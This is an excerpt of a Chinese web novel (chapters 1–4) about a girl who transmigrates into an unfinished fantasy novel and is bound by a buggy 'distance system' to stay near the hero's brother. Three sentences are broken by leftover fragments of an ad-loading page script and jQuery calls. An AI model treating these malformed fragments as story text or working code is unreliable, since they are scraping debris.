《和男配绑定距离系统后》 1. 当阳(一) 一支队伍行走于渡金岭。 冬雪覆了几重,光秃秃的树枝像是一根根冰凌子,朔风凛冽,风吹轿辇,发出古怪凄惨的吱呀叫声,天色阴沉如盖,明明是辰时,却似暮色。 一只纤细白皙的手从轿中伸了出来,那手留着半长指甲,一看就是个从没受过罪的主。 谢惊春刚撩开轿帘,山风就夹着细小的雪粒飞了过来,吹得脸竟有些疼。 “惊春姑娘可是觉得冷了?”身旁一个穿着娇黄衣的姑娘,瞪着一双亮亮的狐狸眼,关心道。 她充满期待地看着眼前的谢惊春。 少女生了一张圆圆的脸蛋,长得算不上惊艳,但也是清清秀秀,更胜在年轻,看着约莫十六七岁,像是能掐出水来。因为没经过什么训练,皮肤格外白皙,仔细看,还能看出双颊处浅浅的雀斑,打扮得也不甚张扬,虽罩着斗篷里面,里面却穿着一身桃红柳绿,在这漫山雪中,还真够扎眼的。 谢惊春笑着摇了摇头,指着自己身上毛茸茸的领子:“姜姑娘,我不冷。” 说完,她却在心中叹了口气。 没有系统,没有捉妖本领,她就这么秃秃地穿书了,穿进了这个刀光剑影的世界。 在《和美强惨的恋爱日常》这本尚在连载的玄幻小说中,男主路知慎是捉妖世家的当阳山大公子,一剑破山,高岭之花,面如谪仙,清冷自持,更是天下人口中千年难得一遇的天才。 面前的姜眠鹤,便是女主。是路知慎偶然捡回来的穿越女,她俏皮娇小,古灵精怪,最爱逗路知慎,终于让冰山融化。 从此,他便总是默默看着她笑,看着她闹。 他们偶尔下当阳山除妖,偶尔互相吃吃醋,看起来和书名一样,仅仅是恋爱日常而已,当然会自然而然地觉得他们也会顺利HE。 却不曾想,温润有礼,天之骄子路知慎,一夕之间弑父杀母,叛离路家。 面对弟弟的拼死追杀,他只说了一句:“这是他们该的。” 至于要问她谢惊春是谁,只能说是个路人甲,是个炮灰。在原著中她甚至连名字都没出现过,只说路知慎在发疯时,随便一剑就捅死了同样是捉妖世家的谢氏大小姐。 她很少看小说,但一看就一定想看到大结局,偏偏这本小说尚在连载,更新到这里时作者突然消失了,怎么都不填坑,无论读者如何催更就是不出现。 谢惊春心里这个难受啊,像万千蚂蚁在身上挠,往心上钻,让她浑身都不自在,恨不自己穿进小说,查清楚男主为什么突然发疯。 好了,天遂人愿,她现在真的穿过来了,却是个啥也不会的菜鸟,上个月非吵着跟谢家弟子一起去捉妖,最后差点被低境猫妖给咬死,在床上躺一个多月才好全。 而她现在,就是要前往当阳山接受魔鬼训练,学习除妖卫道之术,再不济,也要学会如何在这个妖物横行的世界自保。 谢父最是疼爱自己的女儿,疼爱以至于溺爱,女儿一叫唤剑重,他就随着她懈怠,才会时至今日,让她一事无成,连小妖都斗不过,差点把命丢了。 他这才幡然醒悟,狠下心来决定说出 这样一番话:“在积玉山,在爹的眼皮底下,你一叫疼,爹怕自己又会心软,反倒会害了你,不如让你上当阳路家……” 说完,谢父还偷偷抹了抹眼泪。 怕自己会反悔,他不敢亲自送,于是大手一挥,拨了豪华轿辇,身后还跟着姜眠鹤带来的护卫,浩浩荡荡的,似要赶赴刑场。 “惊春姑娘,过了渡金岭,离当阳就近了!” 姜眠鹤见谢惊春似乎有些蔫蔫的,便提高音量欢快地说道,试图带动她的热情。 另外,姜眠鹤虽喜欢路知慎,可在当阳也没什么同龄的女性朋友,倒不是因为她社交能力不行,实在是当阳算得上是个男人堆,统共就那么几个女弟子,要么封心锁爱,一心修道,不搞任何社交,要么就喜欢路知慎,将她视为情敌,集体孤立。 所以如今好不容易能接上谢惊春,她恨不得将所有的热情都浇在她身上。 谢惊春看得出女主是真的很想和女孩子说话了,于是调整好自己的心绪,给了个相当夸张的回应:“哦——那太好了!马上就能上当阳和姜姑娘一起修习,我也好激动!” 姜眠鹤果然受用,俏脸蛋笑得更欢了。 谢惊春也乐呵呵笑着,心中却是忐忑不已。 她虽出身捉妖世家,拥有普通人艳羡的灵力,却从小摆烂,剑术、阵法、符箓捉妖三件套没一样学出个名堂。 如今要上当阳学除妖之术,除了垫底还能是什么?况且,学完之后,她又该做什么?难道只能一辈子留在这个世界,再也不回去了? 想多了便觉得思维有些消极,连带着身子都懒懒的,谢惊春甩了甩头,告诫自己活一天是一天,先不自寻苦恼。 并安慰自己,从此她能近距离看男女主互动,也算是一桩美事。 雪将将停,渡金岭安静得好似一座墓穴,积雪封盖住叠树,不强的日光从云层中筛下几缕,还是觉得阴森森的,就算是冬天,也是静谧得有些过分。 姜眠鹤察觉出有些不对,她灵活地从轿中跳下,抬手止住队伍的步伐,机警地看向四周。 谢惊春也不由得紧张起来,握紧了腰间的长剑——金樽。 虽说她不仅不知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道这把佩剑为何要叫一个酒杯的名字,更不知道该怎么用它除妖灭祟,但毕竟也是把防身利器,拿在手里就增添了不少安全感。 不远处群鸦骤飞,发出凄厉厉的怪叫,氛围顿时变得压抑起来,空气中似乎带着一丝难闻的血腥味。 “感觉不太对。”姜眠鹤呢喃着,从怀中掏出符箓,做好拔剑的准备,并叮嘱谢惊春千万不要出来。 谢惊春狠狠点头,咽了咽口水,不敢做声,怕引来什么东西。 窸窸窣窣的声音响起,接着越来越大,似乎有什么东西在快速逼近。 “咔”的一声,不远处的树枝被雪压断,方才所听见的声音如同被按了暂停键,四周再次陷入死一般的寂静。 就在所有人紧绷着一根弦时,突然,急速的黑影扫过,带起极大的空气摩擦的呼啸声,如怪物怒号。 就在此时,谢惊春蓦然觉得周围一亮,雪光映照,很是刺眼。 霎时,豪华轿辇被掀开,碎屑如雪在空中乱飞。 望着面前黑黢黢的,比自己高了不知几倍的大蛇,谢惊春眨巴着眼睛。 无数个懵逼如泰山压顶般罩在她的头上,整个人似乎要被压成一条横线。 “惊春姑娘!” 姜眠鹤一声惊呼。 大蛇猛然蓄足了劲,吐出血淋淋的,如长尺一般的信子。呲啦呲啦伴随着黏腻口水滴落在地上的声音,在犹如迷宫一般的森林里显得尤为可怖。 谢惊春呆在那儿,直到巨蟒几近至身前,她才反应过来,撑起僵硬的身体,跳下只剩底板的轿子,快速解开厚重不便的斗篷,疯狂地朝着右边跑了起来。 可刚没跑几步,便觉得背上一冷,冰凉的蛇尾如鞭猛然抽在她身上,撕裂的疼痛感刚传至大脑,整个人被瞬间甩了出去。 一阵眩晕后,她以一种十分奇怪的姿势挂在树枝上,因为倒挂,面色快速涨红。 众人火速冲上前,赶紧将怪物团团围住,排排符箓飞向大蛇身上,其中半数刚触碰到那黑色凸起的鳞皮,便烧了个干净,将地上雪都融成一个圈。 姜眠鹤来不及帮助谢惊春,她召出飞剑,挡在大家前头。 犹记得原著中对她的描述词,大多是可爱,娇俏,软糯糯,糯叽叽,奶声奶气。可如今看来,真实的她和这些词,有些出入。 出乎所有人预料,这蛇妖似乎并不厉害,不多时,他们便将其压制。 大蛇身上细小的伤痕累累,渐渐没了动静,方才的嚣张劲全然消失,所有人都松了一口气。 谢惊春依旧吊在半空中,但因此视角与其他人不同,她突然一顿,接着拼尽全力喊了一声:“小心!” 2. 当阳(二) 血液倒流,大腿冰凉到渐渐失去知觉,谢惊春觉得自己随时都会窒息而亡,她拼尽全力的一喊,却是声若蚊蚋,没有人听见她的话。 巨蟒的尾巴上缠绕着一圈圈浅浅金光,这分明是蓄力的征兆,它是想降低众人警惕,趁机杀死所有人,好饱餐一顿。 原著中描写过,姜眠鹤曾也是这般被蛇妖偷袭,虽然路知慎及时赶到救场,却还是让姜眠鹤的手臂出了血,可把他心疼坏了,也自责坏了。 “怎么样了?抓住了没……”人群中有人颤巍巍地问。 因为祭出去的法器太多,这些护送的都是些新人,对捉妖一事都还没怎么实战过。所以,大蛇突然没了动静便让他们觉得自己似乎是成功了。 “收了吧。” “你先收……” 不知道是谁说了一句,开始有人收法器了。一下子便只听到窸窸窣窣的衣物摩擦声,和大家伙劫后余生的喟叹。 姜眠鹤神色紧张地看着眼前一动不动的巨蛇。 谢惊春着急万分,她忍着疼痛,强行抬起无力的手,扶住树枝,双脚一蹬想要翻个跟头完美落地。 “别收!!!” 突然,横空破出一名少年,一道黑色身影凌空穿梭,清亮又伴随着不羁的嗓音划破长空:“长吟!出!” 随后,一柄凌厉的长剑伴随着剑光像是要撕裂黑暗一样,剑身缠绕着电龙,从少年背部“咻”的一声即刻出鞘,朝着大蛇直直飞去,速度快得人几乎看不见剑,只看到耀眼的蓝白色的电光不断闪烁。 顿时金光被遮蔽,电光直逼大蛇七寸。 皮开肉绽的撕裂声音与震剑之声混合在一起,久久不停。 大蛇登时扭曲在一起,嘶嘶的吐信之声也越来越凄厉。它疯狂地甩头,想要摆脱这种痛苦。周围树木在它坚硬头部的重击下,霎时就变成木屑满天飞。 姜眠鹤大喊一声:“退!布阵!”而自己快速跃至路植晏对面,双手交叉紧握,念诀请千机。 千机扇立马不知从什么虚空处冒出来,伸开扇面,尺寸瞬间张开,大了原来不知多少倍,自高空旋转快速压下。 大家这才纷纷反应过来,连忙翻身向后撤去,并一一地将剑插入地面,齐声念道:“东请太神,西邀金天,南通神农,北敬高阳,轩辕归位!四方阵,起!” 无上金光溢出,就像是有什么东西要拔地而起,又像是巨大的灵光自九重天落下。 那四面透明金光流淌着符文,和千机扇一起就像是一个巨大的釜,构成牢不可破的监狱。大蛇猛烈地撞击着四方阵,身上还插着一把试图不断深入它身体的长剑。 所有人都紧张地盯着这一幕,一个个额头都冒出细密的汗。拼命地按压着手中的命剑,似乎巴不得把剑按到地底下去。 四方阵讲究的就是一个配合,实力相当,特别四个阵角处更需要强大同等的力量作为支撑,可这些新人明显不符合要求。 果不其然,没过一会儿,四方阵的金光慢慢变淡,只剩下千机扇和长吟在施加压力。 不少人恐慌了,手握剑柄的力道愈大,几乎要磨出血来。 只是……哎哎哎——大蛇你冲着我来干什么?!!! 谢惊春好不容易英雄式落地,一抬眼,便看到巨蛇挣脱了四方阵的束缚,一个扫尾直接将众人像是转盘子一样全部扫了出去。 愤怒地甩头嘶吼后,便突然朝着她的方向扭了过来。 跑! 脑海中只有这一个念头,可是她的身体并不听使唤,愣是抬了半晌脚都没抬起来。 谢惊春拼命地捶打着自己的腿,被这么个突然袭来的怪物吓得几乎要哭出来了。 “啊——救命!” 就像是为了应验她这句话似的,路植晏立刻飞身欺近,抓住她的手腕一下子将其拽到自己身后,接着一声厉喝:“游龙!” 一剑又出!双剑顿时交缠在一起,一个电龙缠绕,一个火光四射。大有不把大蛇五脏六腑都搅烂决不罢休的姿态。 然而就在他触碰到她的瞬间,谢惊春的脑海中响起过一阵清脆的【叮!】 刹那间,众音尽失,周遭一瞬空白。 林风拂面,惊春瞳孔微震。 她呆愣愣地看着抵挡在自己面前的黑衣少年,因为强烈的气流涌动,整个树林都在啪啪作响,周围的半截树木也渐渐有崩裂之态。 凉意像灵活的小虫子一样从袖口,领口,每一个毛孔钻进身体。 而面前的少年衣袂翻飞,黝黑清亮的万千束发也是伴随着暗红串铜钱扭绳,在风中疯狂飞舞。发梢打在谢惊春脸上,痒痒的。 路植晏幽暗的双眸死死地盯着巨蛇,黑色的竖瞳里映射出一蓝一红的画面,滋滋滋的声响几乎要盖过大蛇自腹腔传出来的震耳轰鸣。 理智终于回到了谢惊春的脑子里,她强撑着麻痹的双腿,慢慢地站直了身体。 【滴——恭喜宿主,激活距离系统,代号205!】 被脑海蓦然出现的机械音吓了一跳,她都快以为刚才的那声【叮!】是幻听呢。 “距离系统?” 系统:【是的宿主,距离系统是我司最新开发出的产品。绑定对象在某一地点,宿主应当尽可能地靠近,当然系统也会告诉宿主通过各种交通方式赶过去的时长。 另外,与其距离超过五米,宿主便会觉得有所不适。随着距离越来越远,不适感会越来越严重。一旦超过绝对安全距离……】 突然系统沉默了,不安感顿时涌上心头。 谢惊春问:“超过绝对安全距离会怎么样?” 系统:【由于导航系统是我司开发出来的新产品,可能仍存在bug等问题,五公里外目前不在系统掌控之内,结果尚未测试,欢迎各位宿主使用时遇到问题及时反馈,便于我们改进。】 “合着我就是测试者?” 系统:【……】 居然默认了! “所以我绑定的谁?” 【路植晏。】 居然是他,谢惊春有些讶然。 他既不是喜欢女主的深情男二,也不是人人得而诛之的反派。 身为男主的弟弟,作者对他的描写并不多,出场章节一只 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手都数得过来,但谢惊春对他的印象倒也算是深刻。 他们两兄弟被称为当阳二才,可路植晏却不喜欢甚至有些讨厌自己的哥哥,他们之间也并没有什么话可说,往往说不了几句就会打起来,索性就不见面了。 再加上路植晏不可一世,骄傲自恃,对谁都是一副希望别人离远点的模样,他的风评较之他哥,简直就是天差地别。 要和这样的人时刻保持近距离,对谢惊春来说,实在是太难了,她顿时想死的心都有了。 不过现在好像不是和系统交流的时候。 狗命要紧。 “多谢少侠!我就不给你添乱了,我先走一步了!拜拜!”说罢,她拖着自己乱七八糟的双腿就要往后退几步。 “谢大小姐不必走了。” 突然,路植晏幽幽开口,语气中仿佛还带着笑意。他眸中的蓝红双色愈来愈淡,风也渐渐小了起来,那些震耳欲聋的声音似乎也有匿下去的意思。 谢惊春不明所以地回了一下头,路植晏抬起右手。 在她疑惑的眼神下,他一下也没回头。只是接着右手的拇指和中指轻轻一捻,打出一个脆生生的响指。 顷刻间,世界好像都安静了,树叶飒飒。 只听到他一声浅浅的,“双剑,归。” 双剑像是朝着敌人张牙舞爪的大狗狗,在听到主人的召唤时,立马敛去战斗状态,收去光芒,抽身急迫地回到自己的住所。 双剑迅速归鞘,金属铿锵之声似尤未平停。 在剑抽身的一瞬间,蛇身不过维持一秒,下一刻,便如齑粉一样四散开来。 呸呸呸! yue…… 谢惊春舔了舔干裂的嘴唇,却发现自己舔到了一大坨黑色的粉末凝结在一起的块块。 一想到刚才那蛇浑身不是泥巴就是血的,甚至身上还挂着不知道是不是人的肠子,她胃里就翻江倒海,恨不得立马昏过去。 她连忙拿胳膊挡住自己的脸和头发,这满天的粉皮子落在别的地方都可以,绝对不能落在头发上,难洗死了。 她很好奇,面前这个一动不动,看起来稳如老狗的少年真的不会被这些粉末…… 额…… 这咋是个黑人?包拯? 谢惊春走到路植晏跟前,却发现他满脸都是黑黢黢的,但可谓是淡定的一批。 “噗……”路植晏擦了擦脸上的粉末,刚才的意气风发瞬间消匿成可怜兮兮。 他毫不客气地推开她,扶着树猛咳起来。 哦~B-king! 为了表现出打败妖怪之后一幅很见过世面的样子,suchas“这种小妖怪我勾勾手指就灭了” 她刚想说话,下一刻,那些尚未想起来的记忆一股脑地钻进脑海。 就像有一场山呼海啸争先恐后地往脑髓里拼命地挤,各种人物对话悉数涌了进来,就像是走马灯。但是面上也不过是微风拂面,鬓发微微扬起,空气中还伴随着一股令人蹙眉的血腥味和一股幽幽清冽的竹香。 姜眠鹤收了剑:“路植晏?你怎么在这里?” 3. 当阳(三) 路植晏拍了拍身上的灰,背上同向斜插的双剑完全没了刚才的气势,他抬眼瞄了谢惊春,昂着下巴说道:“家主让我先带她回去,接下来的事你们收尾。” “可惊春姑娘她……” 那些被撞出去的人纷纷挂了彩,起身的第一件事就是跑到路植晏的身边:“不愧是咱们的当阳二才,就是厉害!” 一旁的路植晏云淡风轻地说道:“呵,有你们的路知慎在,怎敢当二才?” 他说得阴阳怪气,似乎让人觉得他这句话并没有什么问题,毕竟路家大公子确实是人们口中的顶级天才。 而谢惊春也知道,路知慎天资聪颖,九岁便用万诛剑斩下九头蛇头颅,猎妖不胜凡几,十三岁便参与封印玄阴妖的仪式。 封印之人大多是各家修炼几十年的老者,路知慎一个十三岁少年便独坐一阵,与几大长者平分秋色。 就在大家都顶着一张黑脸在那儿互捧的时候,突然一阵轻微的铃铛响起,夹在风中。 那声音在其他人听来,微乎其微。 可谢惊春骤然听见这声音,却觉得像是有人拿着锣鼓使劲地在自己耳朵边上敲,耳膜几乎都要这震耳欲聋的声音压迫坏了。 她捂住耳朵,蹲下身来,痛苦地叫出声来。 “嘶——什么声音?好难听!” 姜眠鹤连忙跑到她身边来,脸上还挂着战斗过后的疲累,但依然紧张地问道:“惊春姑娘,你没事吧?” “耳朵疼,头疼……” 她疼得快没力气了,说起话来都哆哆嗦嗦的,面目苍白,嘴唇上一丝血色都没有。 姜眠鹤二话不说,先替她把了脉,随后双指即刻从怀中掏出一张符箓,贴在她的额头,嘴中念念有词。 而一旁的路植晏目光紧盯着还在嗷嗷叫的谢惊春,晦暗不明。 他轻轻碰了碰自己独左耳有的一垂钟形铃铛。 那小小铃铛看起来也只是铜制,下悬红绿绳,在他一身黑衣衬托之下竟也不显得鲜亮。 但同时,谢惊春便觉得声音刹那间消失,就像是一场梦一样。 她慢慢地松开手抬起头,静静地聆听着,在确定声音消失之后又猛地甩了甩头,然后望着姜眠鹤:“我好了!多谢姜姑娘!” 她谢过姜眠鹤便扭过头去,就看到路植晏那张刚擦净的脸,近在咫尺,吓了她一跳:“你……你干什么?” 接着她耸了耸鼻子,一股淡淡的清新竹香气慢慢地钻进鼻孔,甚是……好闻。 惊春马上就反应过来:“路二公子,也多谢你刚刚挺身而出救了我。” 而路植晏似乎并没有听到一样,额前几根发丝微微随风摆动,一双凤眼下带着天生的卧蚕微红,面无表情时都让人觉得含笑。 结束战斗后,他的瞳孔也恢复了原样,但若细看好像还是有些偏椭。 他嘴角弯出一点弧度,随后在谢惊春略显害怕的眼神下,他将食指轻放在嘴唇前,轻声吐出一个字:“嘘——” 耳铃震开,噪音再次袭来,像是有人拿着超长挖耳勺在她耳朵里使劲使劲地乱搅,完事了还用力往里一捅。 她很奇怪地望着周围人,可是大家似乎都没有受到干扰。 【已为宿主减轻痛苦。】 “谢大小姐可知,这是什么?”他半蹲在她面前,指着自己的铃铛问道。 谢惊春痛苦地摇了摇头,心里却想着:这是时尚单品,挺好看的,我也想整一个。 路植晏站起身,周遭再次安静下来。 谢惊春大约知道自己的耳痛便是源于路植晏左耳处的小玩意儿。 “系统你出来,这是什么情况?” 系统:【宿主灵魂来自现世,尚未完全适应受此方天地,会被法器「别妄铃」识别为非人,只要过几天就好了。】 谢惊春撇开话题:“也是很巧呢,在这里遇到了路二公子。” 路植晏立马回:“非是巧,而是,我在等你。” 惊春觉得十分疑惑:“等我?” “准确来说,是接。奉家父之命,来接谢大小姐。只是刚到渡金岭,碰到妖孽作祟,没想到顺手救了谢大小姐。” 路植晏兀自站起身,转身离去:“既然已经接到,还请谢大小姐和在下同行吧。” 什么什么?接下来要和一个陌生人同行一路吗?虽然说这对刚刚被砸了个距离系统的她来说,能和路植晏近距离是比较幸运的。 但是,他那个别妄铃…… 再说了,系统界已经颠成这样了?什么害人的距离系统初始版本都出来了! “姜姑娘,你不跟我们一起吗?”谢惊春低声问道,目光中尽是恳求。 姜眠鹤拍了拍她的肩膀:“没事,有路植晏在,你不会受伤的。你们先去当阳,家主急着见你。我们还要四处搜寻一下,大冬天的,渡金岭凭空出现这么大蛇妖,保不齐周围没有其他小妖,我们还要张贴告示,防止猎户受伤,估计还得要几个时辰。” 说着,她便摆摆手:“拜拜,待会见。” 惊春跟着撵了几步,还想说点什么,却突然觉得身上就像有小蚂蚁在爬,从脚踝那儿,极快地爬向脖颈。密密麻麻的,不禁让人浑身的毛孔都根根立了起来。 虽说不是很难受,但总归让人不舒服。 【警告,您与角色「路植晏」之间的距离已超过十米,请立即靠近。】 谢惊春回头望去,好小子,那家伙大长腿左架右架的,一下子飙远了。 她匆忙和姜眠鹤说了一句道别后,赶紧追上路植晏:“别,别走了。路二公子,等等我!” 少年没转身,只是半回头,发丝间的铜钱不小心挂在背剑上。风一来,就连忙和着发丝摇了起来。他单是立在那儿,便如玉山孤松。 谢惊春连忙忍着还未完全散去的腿麻,朝着他的方向跑了起来,和他保持在三米左右的距离。 她就这么亦步亦趋地跟着,气氛凝固了许久,路植晏开口:“谢大小姐很怕妖怪?” 她按紧着腰间的金樽:“当然。” “不要走在我后面。”路植晏突然停了下来。 惊春没听清他说什么,只是认认真真调整位置,按着好不容易掐准的步调,只顾着闷头走,一头撞在了他背上的剑鞘上。 鼻子! 要无! 太痛了!她捂着鼻子戴上了痛苦面具。 “谢大小姐,没事吧?”路植晏双手环胸,弯腰看着她,面上看着甚是关心,嘴角却有若有若无的笑意。 说完,他退着走了几步,和谢惊春拉开距离。 “没事没事,继续走吧。” 揉了揉鼻头,谢惊春好不容易觉得酸痛感减弱,那刺耳的铃声再次响起,将脑中那种那些七弯八绕的神经如拉面一样猛得拉直。 她疼得说不出话来,只能指了指他的耳垂,又几步冲上前,直接自己上手拨了一下他的铃铛。 虽然惊春已经很小心,可由于不勤加修习养长的指甲,还是轻轻剐蹭到了他的耳垂。 路植晏愣了一下,接着语气生硬道:“谢大小姐,请自重。” 他耳垂似是有些敏感,被指甲这么刮一下,竟微微泛着红来。 谢惊春连忙道歉:“不好意思,但这个铃铛让我不好受。” 他皱着眉头沉默良久,不情不愿地轻轻道一声:“得罪。” 随后快速截下她的一缕发丝,将其置于掌心,嘴里不知道轻念了什么。 那缕发丝化成一道微光,钻入别妄铃。 谢惊春如释重负。 “虽然不知道这别妄铃为什么会对我有反应,但还是谢谢路二公子了。” 路植晏没接话,直接抬脚就走。 “对了系统,我一直忘了问了,我的最终任务是什么?” 【见证结局。】 “可是这本书还没有更完,虽然概率不大,但是万一作者断更,这本书直接太监了怎么办?” 【那就一直留在这里喽。】 “那你呢?” 【到了一定时间任务还未完成,我会被总部召回重改设定,你就只能一直在这里。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 】 所以说,作者写书一定不能太监,说不定有个小倒霉蛋在连载的时候穿进你的书,恰逢她的任务是见证结局。 那就惨了。 “话说为何你现在才出现,按理说不应该在我一穿过来就有吗?” 【新系统,理解一下,经常有bug,延迟等问题。再说在谢家时我就好几次尝试将你与触碰到的某人绑定以激活系统。可是系统无法检测到你的强烈求生欲,都以失败告终。】 “所以刚才是因为我喊了救命,求生欲望很强烈,他又是在此时所触碰到我的第一人,所以才激活了系统?” 【完全正确。】 路植晏眼睁睁看着谢惊春从自己身边经过,超过自己。 然后…… “我还以为你这么做一定是有你的道理,没想到只是想掉进坑里。” 路植晏抓着她的后衣领,并火速松开,一脸人畜无害并带着略微嫌弃的表情。 刚才和系统聊得太起劲了! 今日出门应当看黄历,上面绝对写满了「忌:出行」。 望蓄满雪水的深坑,自己的面庞倒映在上面,随着清风跳动,谢惊春松了一口气,转头笑意盈盈地说道:“又谢路二公子。” 她乖乖地走在他后面。 路植晏却莫名其妙不悦起来,连带着之前一口一个谢大小姐也没有了,他烦躁地说道:“我不是说过,不要走在我后面吗?” 谢惊春属实是有点懵,但权衡了一下目前的处境,为了讨好面前人,便忙点点头:“嗯,好!好好好!” 路植晏从小就有个秘密,或者说有个毛病,如果他知道有人站在自己身后一米内,右后腰处便会痉挛。 虽然能够压制,但是总感觉怪怪的。 一路上二人都没再说什么,谢惊春步调又不快,时常走着走着就走到他后面去了。 路植晏气得大拇指都快被摁碎了。 但是惊春不知,她只想着今日侥幸和路植晏同行,那明日后日呢? 她必须得找个理由把路植晏摁在自己身边。 要不,把他绑了,然后天天让他跟在自己后头。于他而言,绳子这等脆弱之物肯定不行,飞剑直接可以砍断。 得用大铁球箍住,一脚一个。 嘶,大铁球估计也不行,铁链子的连接处照样可以砍断。 有没有什么邪术,蛊虫之类让他心甘情愿地留在身边。 不出行的时候便把他偷偷关起来,让他叫破喉咙也不会有人来救他,免得路家人把她捶成鼠片。 咦,像囚禁play,好邪恶好羞耻。况且自己应当打不过他,不对,是一秒就会被反摁死的程度。 “你在想什么?”两人隔着不近的距离,路植晏却像是背后长了眼睛一般。 谢惊春脱口而出:“在想要是能把你囚禁起来,日日捆在我身边就好了。” “哦。” ………… 嗯? 嗯???! Big胆! 两人身形如同被雷劈一样,同时定在原地。 随后一个缓缓回头,一个缓缓抬头。 视线交汇的那一秒,就那一秒,谢惊春瞪大眼珠,猛吸一口气,连自己埋哪儿都想好了。 就刚刚那个坑,风水挺好。 有风有水的。 路植晏微拧剑眉,转过身之时又突然嗤笑了出来,嘲讽值几乎拉满:“谢大小姐为何会有这种想法?” “就突然想到了。”她一本正经地回答。 他向前走了两步:“若是你真能做到,你觉得会发生什么?” “会把你囚禁起来。” Kiao!乱七八糟的世界乱七八糟的嘴! 对上路植晏看傻子的眼神,惊春扣着手,将嘴唇抿得几近发白,鼻孔不自觉放大:“要不,你把我捆了也行。” 沉默在两人之间打羽毛球。 良久。 “没这爱好。”路植晏翻了个白眼,切了一声,大步流星地继续往前走。 4. 当阳(四) 不知行了多久,终于看到了当阳山,惊春的肩膀才稍稍松了一些。 “哎哎哎,你去哪儿?”眼瞅着路植晏要走,惊春忙拽住他的衣服。 “任务完成,找我父亲复命。”他抬起双臂,盯着她揪着腰间布料的手,弯弯睫毛下的不满和嫌弃都快溢出来了:“男女授受不亲,你,放开。” 惊春心中切了一声,松了手:“我也要去拜见路叔叔,我和你一起去。” “随便你,别跟我就行。” 三花阁。 一个胖胖的小少年呼哧呼哧地跑过来,带着几分好奇地目光打量着谢惊春,恭恭敬敬道:“谢姑娘,家主让您进去,只让您一个人进去。” 随后他又朝着路植晏说道:“路二哥,家主说,你不用进去复命了。” “哦好,多谢。”惊春蒙蒙地跟在小少年的身后。 刚走出没几步,她突然又拎着裙子,小跑折了回来,十分郑重地说道:“路二公子,你别走,千万千万别走,求你了!” 一进入三花阁,便闻到一股淡淡的扶心香的味道,缭缭绕绕,直达上苍。 这般清雅的香味她从未闻过,忍不住多吸了几下。 “惊春,过来。” 路家主路思贤虽然已过不惑,可时间在他脸上留下的痕迹并不多。若不是他的声音中透着些岁月沧桑之感,绝计不会想到他已经四十。 他在缥缈的轻烟后对惊春招了招手。 谢惊春规规矩矩地应了一声,却不知该如何行礼。 思索了片刻,她觉得直接跪地上行个大礼绝对不会错。 “惊春见过路叔叔,祝路叔叔福如东海,寿比南山!” 看着地上近乎匍匐的少女,路思贤刚准备说出的话一下子被惊得噎了回去。 一旁的小少年只是觉得,今日打扫卫生的任务量会减少。 “啊哈哈,惊春不必行此大礼,快起来了。” 地上的谢惊春没有任何反应。 路思贤歪头看了看:“惊春?” 路植晏这小子,跑哪儿去了?!不是求他别走吗? 估计跑得还挺远,要不然不会这般疼。 惊春攥紧了拳头,忍着疼痛费力地站了起来。 路思贤将一封信压实,“惊春,你父亲也是为你好……” 【警告,宿主与角色「路植晏」距离超过八百米。】 “对不起,路叔叔,我打断一下,您现在能不能让,让二公子过来一下。” 惊春连话都说不利索了。 路思贤一瞧她面色苍白,连忙让小少年去找惜慈。 “不用,不用惜慈姐姐过来,路叔叔,您让二公子过来就行。” 原著中多次提到惜慈,医术高明的奇女子。只是,她这个痛,除了麻沸散蒙汗药给她药翻过去,其他方法都是无用的。 虽不明所以,路思贤却还是让人把惜慈和路植晏都找了过来。 “好,你就在这儿好好坐着。”惊春缓过劲了,精神抖擞地拍了拍路植晏的肩膀。 “多谢惜慈姐姐。” “路叔叔,让您担心了,我现在没事了,您继续说吧。” 路思贤和惜慈互相看了一眼,后者一脸疑惑地退了出去 。 路植晏跪坐在那里,背部绷得直直的,整个人都散发着幽怨。 “惊春你可知,你父亲是想让你留在当阳山学习除妖卫道之法,可能暂时不能回去了。” 路思贤试探着说道,想看看惊春的反应。 毕竟大家都知道谢家大小姐娇气得很,不愿意学捉妖这等劳神费力之事。而谢从真竟也惯着她,任由她养在闺阁,无所事事,到如今恐怕路家十岁的小孩都打不过。 若不是前些时日差点被猫妖咬死,谢从真估计还是会继续宠着女儿,不舍得让她受一点苦。 路家为三正之首,又是常出天才之地,大家都觉得当阳山灵气重,是太上老君于太初降师便形吸收天地灵气,形成的连绵山峰。 且路家素以训练极其严苛闻名,不论是猎杀妖物,还是圈养在太象山的小妖数量都是路家居多。 甚至那只让捉妖师倾巢出动都不能杀死,只能将其封印的大妖玄阴,如今就在路家后山的束妖窟中。 因此能在当阳学习如何成为一名合格的捉妖师,是很多人的愿望。 可是对于谢惊春这种人,当阳怕不是愿望,而是噩梦。 “路叔叔,我知道。” 路思贤张了张嘴,想想有什么办法能够避免她一哭二闹三上吊。 “惊春,其实你……” 谢惊春腾一下直起身,双手捏成手枪状指了指路植晏:“那那那,那我想让二公子教我,可以吗?” 路思贤倒没想到她会是如此反应,他瞥了一眼眉毛都快拧在一起的儿子,食指有一搭没一搭地轻敲着桌面:“这……” “教你?我不。”路植晏抻了抻衣服,一脸傲娇地站起身。 “惊春,植晏也是要修习的,若是单独教你恐是不便。你放心,只要你认认真真学,不出三月,必有所成。” 惊春想既然他也要一起修习,那距离应当不是问题,便也点了点头。 路植晏冷哼一声,抬步就要走,惊春慌忙又向路思贤行了一个大礼,转头跟上他的步伐。 一出门,路植晏便质问道:“谢大小姐,你刚才为何要我回去?” “那自然是……” 系统冰冷的声音响起:【宿主别忘了蝴蝶效应,若自爆身份若改变剧情走向,后果自负。】 “那自然是,是单独和长辈在一起,有些害怕罢了。姜姑娘还没回来,现在整个当阳,我只和你熟些,只能找你撑场了。” 路植晏顿了一下,毕竟他自己也不喜欢和路思贤相处。只是,“我与你再怎么,也谈不上熟吧?还请谢大小姐,不要这般套近乎。” “对比而已,毕竟其他人我连话都没说过,路二公子不必这么斤斤计较吧?” “惊春!” 姜眠鹤不知何时回来了,她站在阶上,一双狐狸眼眯起来时,比阳光还灿烂,她伸出右手:“走走走,我带你看看你住的地方。” “喏,她也是你熟人了吧?” 路植晏把谢惊春扔给姜眠鹤,头也不回地走了。 